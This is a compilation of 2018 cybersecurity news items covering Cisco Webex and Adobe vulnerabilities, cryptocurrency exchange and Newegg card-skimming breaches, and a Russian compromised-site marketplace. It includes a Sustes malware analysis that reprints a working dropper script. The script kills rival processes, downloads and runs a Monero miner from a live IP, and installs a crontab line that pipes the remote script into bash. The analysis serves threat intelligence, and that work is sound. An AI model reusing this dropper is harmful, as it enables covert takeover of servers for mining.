Flaw in 4GEE WiFi Modem Could Leave Your Computer Vulnerable

A high-severity vulnerability has been discovered in 4G-based wireless 4GEE Mini modem sold by mobile operator EE that could allow an attacker to run a malicious program on a targeted computer with the highest level of privileges in the system. The vulnerability—discovered by 20-year-old Osanda Malith, a Sri Lankan security researcher at ZeroDayLab—can be exploited by a low privileged user

Cisco fixes Remote Code Execution flaws in Webex Network Recording Player

Cisco released security patches to fix RCE flaws in the Webex Network Recording Player for Advanced Recording Format (ARF).

Cisco released security patches to address vulnerabilities in the Webex Network Recording Player for Advanced Recording Format (ARF) (CVE-2018-15414, CVE-2018-15421, and CVE-2018-15422) that could be exploited by an unauthenticated, remote attacker to execute arbitrary code on a vulnerable system

The Webex Meetings Server is a collaboration and communications solution that can be deployed on a private cloud and which manages the Webex Meetings Suite services and Webex Meetings Online hosted multimedia conferencing solutions.

The Meetings services allow customers to record meetings and store them online or in an ARF format or on a local computer, in WRF format.

The relative player Network Recording Player can be installed either automatically when a user accesses a recording file hosted on a Webex Meetings Suite site or manually by downloading it from the Webex site.

The lack of proper validation for the Webex recording files is the root cause of the vulnerabilities that could allow unauthenticated, remote attacker to execute arbitrary code on the target machine.

“Multiple vulnerabilities in the Cisco Webex Network Recording Player for Advanced Recording Format (ARF) could allow an unauthenticated, remote attacker to execute arbitrary code on a targeted system.” reads the security advisory published by Cisco.

“The vulnerabilities are due to improper validation of Webex recording files. An attacker could exploit these vulnerabilities by sending a user a link or email attachment containing a malicious file and persuading the user to open the file in the Cisco Webex Player. A successful exploit could allow the attacker to execute arbitrary code on an affected system.”

An attacker could exploit the flaw by tricking victims into opening a malicious file in the Cisco Webex Player, the file could be sent via email as an attachment or through a link in the content referencing it.

The vulnerabilities affect the following ARF recording players:

  • Cisco Webex Meetings Suite (WBS32) – Webex Network Recording Player versions prior to WBS32.15.10
  • Cisco Webex Meetings Suite (WBS33) – Webex Network Recording Player versions prior to WBS33.3
  • Cisco Webex Meetings Online – Webex Network Recording Player versions prior to 1.3.37
  • Cisco Webex Meetings Server – Webex Network Recording Player versions prior to 3.0MR2

Each version of the Webex Network Recording Players for Windows, OS X, and Linux is affected by at least one of the issues.

The following Network Recording Player updates address  the vulnerabilities:

  • Meetings Suite (WBS32) – Player versions WBS32.15.10 and later and Meetings Suite (WBS33) – Player versions WBS33.3 and later;
  • Meetings Online – Player versions 1.3.37 and later; and Meetings Server – Player versions 3.0MR2 and later.

Cisco warns that there are no known workarounds for these issues.

“The Cisco Webex Network Recording Player (for .arf files) will be automatically upgraded to the latest, non-vulnerable version when users access a recording file that is hosted on a Cisco Webex Meetings site that contains the versions previously specified,” concludes the Cisco advisory.

Pierluigi Paganini

(Security Affairs – Cisco Webex Network Recording Player, RCE)

The post Cisco fixes Remote Code Execution flaws in Webex Network Recording Player appeared first on Security Affairs.

Hackers stole $60 Million worth of cryptocurrencies from Japanese Zaif exchange

Cybercriminals have stolen 6.7 billion yen ($60 million) worth of cryptocurrencies from the Japanese digital currency exchange Zaif exchange.

According to the Tech Bureau Corp., a Japanese cryptocurrency firm, hackers have compromised its Zaif exchange and have stolen 6.7 billion yen ($60 million) worth of cryptocurrencies, including Bitcoin, Monacoin, and Bitcoin Cash.

The stole digital currencies included roughly 2.2 billion yen belonged to Tech Bureau and 4.5 billion belonged to its clients.

The hacked have taked the control of the exchange for a couple of hours on Sept. 14, and illegally transferred coins form the “hot wallet” of the exchange to wallets under their control.

“Japanese cryptocurrency firm Tech Bureau Corp said about $60 million in digital currencies were stolen from its exchange, highlighting the industry’s vulnerability despite recent efforts by authorities to make it more secure.” reported the Reuters.

Three days later, operators at the exchange noticed server problems and publicly disclosed the hack on Sept. 18.

The Tech Bureau took offline the exchange and sold to Fisco Ltd the majority ownership for a 5 billion yen ($44.59 million) investment that would be used to replace the digital currencies stolen from client accounts.

“Documents seen by Reuters on Thursday showed Japan’s Financial Services Agency would conduct emergency checks on cryptocurrency exchange operators’ management of customer assets, following the theft. FSA officials were not immediately available for comment.” continues the Reuters.

This is the second hack suffered by a Japan’s crypto exchange this year, earlier January  Japan-based digital exchange Coincheck was hacked and crooks stole$530 million in digital coins.

Earlier this year, a problem at the Zaif exchange allowed some people to buy cryptocurrencies without paying.

Japan is considered a global leaked in cryptocurrency technologies, the Bitcoin could be used for payment in the country since April 2017 major retailers accept this kind of payments.

Experts believe that the cyber heist will affect the FSA’s ongoing regulatory review of the cryptocurrency industry.

Last year Japan became the first country to regulate cryptocurrency exchanges, they have to register with FSA and required reporting and other responsibilities.

Anyway, the incidents demonstrate that the level of security of exchanges has to be improved.

Pierluigi Paganini

(Security Affairs – Zaif exchange, hacking)

The post Hackers stole $60 Million worth of cryptocurrencies from Japanese Zaif exchange appeared first on Security Affairs.

UK Regulator Fines Equifax £500,000 Over 2017 Data Breach

Atlanta-based consumer credit reporting agency Equifax has been issued a £500,000 fine by the UK's privacy watchdog for its last year's massive data breach that exposed personal and financial data of hundreds of millions of its customers. Yes, £500,000—that's the maximum fine allowed by the UK's Data Protection Act 1998, though the penalty is apparently a small figure for a $16 billion

Sustes Malware: CPU for Monero

Sustes Malware doesn’t infect victims by itself, but it is spread via brute-force activities with special focus on IoT and Linux servers.

Today I’d like to share a simple analysis based on a fascinating threat that I like to call Sustes (you will see name genesis in a bit).

Everybody knows Monero cryptocurrency and probably everybody knows that it has built upon privacy, by meaning It’s not that simple to figure out Monero wallet balance. Sustes (Mr.sh) is a nice example of Pirate-Mining and even if it’s hard to figure out its magnitude, since the attacker built-up private pool-proxies, I believe it’s interesting to fix wallet address in memories and to share IoC for future Protection. So, let’s have a closer look at it.
sustes
Monero stops you trying to check wallet balance
Sustes Malware doesn’t infect victims by itself (it’s not a worm) but it is spread over the exploitation and brute-force activities with special focus on IoT and Linux servers.
The initial infection stage comes from a custom wget (http:\/\/192[.]99[.]142[.]226[:]8220\/mr.sh ) directly on the victim machine followed by a simple /bin/bash mr.sh.
The script is a simple bash script which drops and executes additional software with a bit of spicy. The following code represents the mr.sh content as a today (ref. blog post date).
#!/bin/bash
mkdir /var/tmp
chmod 777 /var/tmp
pkill -f getty
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill -f /usr/bin/.sshd
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
chmod 777 /var/tmp/sustes
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
ps ax | grep /tmp/ | grep -v grep | grep -v 'sustes\|sustes\|ppl' | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'sustes\|sustes\|ppl' | awk '{print $1}' | xargs kill -9
DIR="/var/tmp"
if [ -a "/var/tmp/sustes" ]
then
    if [ -w "/var/tmp/sustes" ] && [ ! -d "/var/tmp/sustes" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /var/tmp/sustes | awk '{ print $1 }')
            echo $sum
            case $sum in
                c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                    echo "sustes OK"
                ;;
                *)
                    echo "sustes wrong"
                    pkill -f wc.conf
                    pkill -f sustes
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/var/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/var/tmp/sustes" ]
then
    DIR=$(mktemp -d)/var/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi
f2="192.99.142.226:8220"

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/sustes ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/sustes | awk '{ print $1 }')
        echo $sum
        case $sum in
            c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                echo "sustes OK"
            ;;
            *)
                echo "sustes wrong"
                sizeBefore=$(du $DIR/sustes)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                #$WGET $DIR/sustes https://transfer.sh/wbl5H/sustes
                download
                sumAfter=$(md5sum $DIR/sustes | awk '{ print $1 }')
                if [ -s /usr/bin/curl ];
                then
                    echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sustes` > $DIR/var/tmp.txt
                fi
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/sustes3 | awk '{ print $1 }')
        echo $sum
        case $sum in
            c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                echo "sustes OK"
                cp $DIR/sustes3 $DIR/sustes
            ;;
            *)
                echo "sustes wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download2() {
    if [ `getconf LONG_BIT` = "64" ]
    then
        $WGET $DIR/sustes http://192.99.142.226:8220/xm64
    fi

    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/sustes | awk '{ print $1 }')
        echo $sum
        case $sum in
            c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                echo "sustes OK"
                cp $DIR/sustes $DIR/sustes3
            ;;
            *)
                echo "sustes wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}

judge() {
    if [ ! "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110'|grep 'ESTABLISHED'|grep -v grep)" ];
    then
        ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
	      do
	      kill -9 $procid
        done
        downloadIfNeed
        touch /var/tmp/123
        pkill -f /var/tmp/java
        pkill -f w.conf
        chmod +x $DIR/sustes
        $WGET $DIR/wc.conf http://$f2/wt.conf
        nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &
        sleep 5
    else
       echo "Running"
    fi
}

judge2() {
    if [ ! "$(ps -fe|grep '/var/tmp/sustes'|grep 'wc.conf'|grep -v grep)" ];
    then
        downloadIfNeed
        chmod +x $DIR/sustes
        $WGET $DIR/wc.conf http://$f2/wt.conf
        nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &
        sleep 5
    else
        echo "Running"
    fi
}

if [ ! "$(netstat -ant|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
    judge2
else
    judge
fi

if crontab -l | grep -q "192.99.142.226:8220"
then
    echo "Cron exists"
else
    crontab -r
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
	(crontab -l 2>/dev/null; echo "* * * * * $LDR http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
rm -rf /var/tmp/jrm
rm -rf /tmp/jrm
pkill -f 185.222.210.59
pkill -f 95.142.40.81
pkill -f 192.99.142.232
chmod 777 /var/tmp/sustes
crontab -l | sed '/185.222.210.59/d' | crontab -
view rawmr hosted with ❤ by GitHub

An initial connection-check wants to take down unwanted software on the victim side (awk ‘{print $7}’ | sed -e “s/\/.*//g”) taking decisions upon specific IP addresses. It filters PID from connection states and it directly kills them (kill -9). The extracted attacker’s unwanted communications are the following ones:

  • 103[.]99[.]115[.]220  (Org:  HOST EDU (OPC) PRIVATE LIMITED,  Country: IN)
  • 104[.]160[.]171[.]94 (Org:  Sharktech  Country: USA)
  • 121[.]18[.]238[.]56 (Org:  ChinaUnicom,  Country: CN)
  • 170[.]178[.]178[.]57 (Org:  Sharktech  Country: USA)
  • 27[.]155[.]87[.]59 (Org:  CHINANET-FJ  Country: CN)
  • 52[.]15[.]62[.]13 (Org:   Amazon Technologies Inc.,  Country: USA)
  • 52[.]15[.]72[.]79 (Org:  HOST EDU (OPC) PRIVATE LIMITED,  Country: IN)
  • 91[.]236[.]182[.]1 (Org:  Brillant Auto Kft,  Country: HU)
A second check comes from “command lines arguments”. Sustes “greps” to search for configuration files (for example: wc.conf and wq.conf and wm.conf) then it looks for software names such as sustes (here we go !) and kills everything matches the “grep”. The script follows by assigning to f2 variable the dropping website (192[.]99[.]142[.]226:8220) and later-on it calls “f2” adding specific paths (for example: /xm64 and wt.conf) in order to drop crafted components. MR.sh follows by running the dropped software with configuration file as follows:
nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &

MR.SH ends up by setting a periodic crontab action on dropping and executing itself by setting up:

crontab -l 2>/dev/null; echo “* * * * * $LDR http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1”

Following the analysis and extracting the configuration file from dropping URL we might observe the Monero wallet addresses and the Monero Pools used by attacker. The following wallets (W1, W2, W3) were found.

  • W1: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
  • W2: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
  • W3: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
Quick analyses on the used Monero pools took me to believe the attacker built up a custom  and private (deployed on private infrastructures) Monero pool/proxies, for such a reason I believe it would be nice to monitor and/or block the following addresses:
  • 158[.]69[.]133[.]20 on port 3333
  • 192[.]99[.]142[.]249 on port 3333
  • 202[.]144[.]193[.]110 on port 3333

The downloaded payload is named sustes and it is a basic XMRIG, which is a well-known opensource miner. In this scenario, it is used to make money at the expense of computer users by abusing the infected computer to mine Monero, a cryptocurrency. The following image shows the usage strings as an initial proof of software.

sustes
XMRIG prove 1

Many people are currently wondering what is the sustes process which is draining a lot of PC resources (for example: herehere and here ) …. now we have an answer: it’s an unwanted Miner. :D.

Hope you had fun

Further details including the IoC area available at:

https://marcoramilli.blogspot.com/2018/09/sustes-malware-cpu-for-monero.html

About the author: Marco Ramilli, Founder of Yoroi

I am a computer security scientist with an intensive hacking background. I do have a MD in computer engineering and a PhD on computer security from University of Bologna. During my PhD program I worked for US Government (@ National Institute of Standards and Technology, Security Division) where I did intensive researches in Malware evasion techniques and penetration testing of electronic voting systems.

 

I do have experience on security testing since I have been performing penetration testing on several US electronic voting systems. I’ve also been encharged of testing uVote voting system from the Italian Minister of homeland security. I met Palantir Technologies where I was introduced to the Intelligence Ecosystem. I decided to amplify my cyber security experiences by diving into SCADA security issues with some of the most biggest industrial aglomerates in Italy. I finally decided to found Yoroi: an innovative Managed Cyber Security Service Provider developing some of the most amazing cyber security defence center I’ve ever experienced ! Now I technically lead Yoroi defending our customers strongly believing in: Defence Belongs To Humans

Edited by Pierluigi Paganini

(Security Affairs – Sustes, cryptocurrency malware)

The post Sustes Malware: CPU for Monero appeared first on Security Affairs.

US State Department confirms data breach to unclassified email system

The US State Department confirmed that hackers breached one of its email systems, the attack potentially exposed personal information of some of its employees.

The incident seems to have affected less than 1% of employee inboxes, 600-700 employees out of 69,000 people.

“The Department recently detected activity of concern in its unclassified email system, affecting less than 1 per cent of employee inboxes. Like any large organization with a global presence, we know the Department is a constant target for cyber attacks,”  states the US State Department.

“We have not detected activity of concern in the Department’s classified email system. We determined that certain employees’ personally identifiable information (PII) may have been exposed. We have already notified those employees.”

The security breach affected an unclassified email system at the State Department, the news of the hack came to light after Politico obtained a “Sensitive but Unclassified” notice about the incident.

“This is an ongoing investigation, and we are working with partner agencies, as well as the private sector service provider, to conduct a full assessment.” a State Department spokesperson told Politico.

“We will reach out to any additional impacted employees as needed.”

After the Agency noticed the “suspicious activity” in its email system notified the incident to a number of employees whose personal information may have been compromised.

US State Department didn’t reveal which kind of data had been accessed by attackers, at the time of writing we only know that no classified information had been exposed.

The Agency claimed it took steps to secure its system, and it is offering three years of credit and identity theft monitoring to the affected employees.

A group of senators wrote to Secretary of State Mike Pompeo last week raising concerns that the department did not meet federal standards for cybersecurity and questioning its resilience to cyber attacks.

“Sens. Ron Wyden (D-Ore.), Rand Paul (R-Ky.), Ed Markey (D-Mass.), Jeanne Shaheen (D-N.H.) and Cory Gardner (R-Colo.) asked Pompeo for an update on what the State Department has done to address its “high risk” designation, and how many cyberattacks the department had been subject to abroad in the last three years.”  reported TheHill.

“Pompeo was asked to respond by Oct. 12.”

Pierluigi Paganini

(Security Affairs – US State Department, Data Breach)

The post US State Department confirms data breach to unclassified email system appeared first on Security Affairs.

Magecart cybercrime group stole customers’ credit cards from Newegg electronics retailer

Magecart hackers have stolen customers’ credit card data from the computer hardware and consumer electronics retailer Newegg.

The Magecart cybercrime group is back, this time the hackers have stolen customers’ credit card data from the computer hardware and consumer electronics retailer Newegg.

Magecart  is active since at least 2015, recently the group hacked the websites of TicketmasterBritish Airways, and Feedify to inject a skimmer script used to siphon users’ payment card data.

behind the Ticketmaster and British Airways data breaches has now victimized popular computer hardware and consumer electronics retailer Newegg.

The security firms Volexity and RiskIQ have conducted a joint investigation on the hack.

Volexity was able to verify the presence of malicious JavaScript code limited to a page on secure.newegg.com presented during the checkout process at Newegg. The malicious code specifically appeared once when moving to the Billing Information page while checking out.reported Volexity.

“This page, located at the URL https://secure.newegg.com/GlobalShopping/CheckoutStep2.aspx, would collect form data, siphoning it back to the attackers over SSL/TLS via the domain neweggstats.com.”

Now Magecart group managed to compromise the Newegg website and steal the credit card details of all customers who made purchases between August 14 and September 18, 2018.

“On August 13th Magecart operators registered a domain called neweggstats.com with the intent of blending in with Newegg’s primary domain, newegg.com.  Registered through Namecheap, the malicious domain initially pointed to a standard parking host.” reads the analysis published by RiskIQ.

“However, the actors changed it to 217.23.4.11 a day later, a Magecart drop server where their skimmer backend runs to receive skimmed credit card information. Similar to the British Airways attack, these actors acquired a certificate issued for the domain by Comodo to lend an air of legitimacy to their page”

NewEgg timeline

Active since at least 2015, the Magecart hacking group registered a domain called neweggstats(dot)com (similar to Newegg’s legitimate domain newegg.com) on August 13 and acquired an SSL certificate issued for the domain by Comodo.

The technique is exactly the one employed for the attack against the British Airways website.

On August 14, the group injected the skimmer code into the payment processing page of the official  retailer website, so when customers made payment the attackers were able to access their payment data and send them to the domain neweggstats(dot)com  they have set up.

newegg skimmer

“The skimmer code is recognizable from the British Airways incident, with the same basecode. All the attackers changed is the name of the form it needs to serialize to obtain payment information and the server to send it to, this time themed with Newegg instead of British Airways.” continues RiskIQ.

“In the case of Newegg, the skimmer was smaller because it only had to serialize one form and therefore condensed down to a tidy 15 lines of script”

Experts noticed that the users of both desktop and mobile applications were affected by the hack.

Customers that made purchases on the Newegg website between August 14 and September 18, 2018, should immediately block their payment card.

Pierluigi Paganini

(Security Affairs – skimmer sript, hacking)

The post Magecart cybercrime group stole customers’ credit cards from Newegg electronics retailer appeared first on Security Affairs.

Adobe issued a critical out-of-band patch to address CVE-2018-12848 Acrobat flaw

Adobe releases a critical out-of-band patch for CVE-2018-12848 Acrobat flaw, the security updates address a total of 7 vulnerabilities.

Adobe address seven vulnerability in Acrobat DC and Acrobat Reader DC, including one critical vulnerability that could be exploited by attackers to execute arbitrary code.

“Adobe has released security updates for Adobe Acrobat and Reader for Windows and MacOS. These updates address critical and important vulnerabilities.  Successful exploitation could lead to arbitrary code execution in the context of the current user.” reads the security advisory.

The flaws affect Acrobat DC and Acrobat Reader DC for Windows and macOS (versions 2018.011.20058 and earlier; Acrobat 2017 and Acrobat Reader 2017 for Windows and macOS (versions 2017.011.30099 and earlier), and Acrobat DC and Acrobat Reader DC for Windows and macOS (2015.006.30448 and earlier).

The security patches have been released just one week after Adobe released its Patch Tuesday updates for September 2018 that addressed 10 vulnerabilities in Flash Player and ColdFusion.

The most severe flaw, tracked as CVE-2018-12848,  is a critical out-of-bounds write issue that could allow arbitrary code execution.

The flaw was reported by Omri Herscovici, research team leader at Check Point Software Technologies, the expert also found other 3 vulnerabilities.

CVE-2018-12848 Adobe Acrobat Reader flaw

The remaining flaws are out-of-bounds read vulnerabilities (CVE-2018-12849, CVE-2018-12850, CVE-2018-12801, CVE-2018-12840, CVE-2018-12778, CVE-2018-12775) that are rated as “important” and could lead to information disclosure.

The CVE-2018-12778 and CVE- 2018-12775 vulnerabilities were anonymously reported via Trend Micro’s Zero Day Initiative, while the CVE-2018-12801 issue was discovered by experts at Cybellum Technologies LTD.

The good news is that Adobe is not aware of any malicious exploitation of the flaw in attacks.

Pierluigi Paganini

(Security Affairs – Adobe, CVE-2018-12848)

The post Adobe issued a critical out-of-band patch to address CVE-2018-12848 Acrobat flaw appeared first on Security Affairs.

Western Digital's My Cloud NAS Devices Turn Out to Be Easily Hacked

Security researchers have discovered an authentication bypass vulnerability in Western Digital's My Cloud NAS devices that potentially allows an unauthenticated attacker to gain admin-level control to the affected devices. Western Digital's My Cloud (WD My Cloud) is one of the most popular network-attached storage (NAS) devices which is being used by businesses and individuals to host their

Access to over 3,000 compromised sites sold on Russian black marketplace MagBo

Security experts at Flashpoint discovered the availability of the access to over 3,000 compromised sites sold on Russian black marketplace MagBo

A new report published by researchers at Flashpoint revealed the availability on an underground hacking forum for Russian-speaking users of access to over 3,000 breached websites.

“Access to approximately 3,000 breached websites has been discovered for sale on a Russian-speaking underground marketplace called MagBo. Access to some of the sites is selling for as low as 50 cents (USD).” reads the report published by Flashpoint.

The earliest advertisements for the MagBo black marketplace were posted in March to a top-tier Russian-language hacking and malware forum. According to the advertising, sellers are offering access to websites that were breached via, PHP shell access, Hosting control access, Domain control access, File Transfer Protocol (FTP) access, Secure Socket Shell (SSH) access, Admin panel access, and Database or Structured Query Language (SQL) access.

Most of the compromised websites are e-commerce sites, but crooks also offered access to websites of organizations in healthcare, legal, education and insurance industries and belonging to government agencies.

According to the experts, most of the compromised servers are from U.S., Russian, or German hosting services. The company reported its findings to law enforcement that are notifying victims.

Magbo compromised servers

Experts found a dozen of vendors on the MagBo black marketplace and hundreds of buyers participate in auctions in order to gain access to breached sites, databases, and administrator panels.

Accesses to compromised websites are precious commodities in the cybercrime underground, crooks can use them to carry out a broad range of illicit activities.

Illicit access to compromised or backdoored sites and databases is used by criminals for a number of activities, ranging from spam campaigns, to fraud, or cryptocurrency mining.” continues the report.

“These compromises have also been used to gain access to corporate networks. This could potentially allow actors to access proprietary internal documents or resources, as well as entry points through which they can drop various malicious payloads. The types of vulnerabilities present and the ways in which they can be exploited depend on the threat actor’s specific capability, motivation, targeting, and goals.”

Sellers are also offering different privilege levels, in some cases they provide “full access permissions” to the compromised sites,  other levels are “abilities to edit content,” and “add your content.”

The prices for compromised websites range from $0.50 USD up to $1,000 USD per access, depending on a website ranking listing various host parameters.

Magbo compromised servers prices.png

High-value targets would have higher prices, for example, to inject payment card sniffers, lower ranking sites are usually used for cryptocurrency mining or spam campaign.

The sellers also offer stolen photocopies of national documents for identity fraud, breached payment wallet access, compromised social media accounts, and Bitcoin mixer or tumbler services.

Pierluigi Paganini

(Security Affairs – MagBo, Darkweb)

The post Access to over 3,000 compromised sites sold on Russian black marketplace MagBo appeared first on Security Affairs.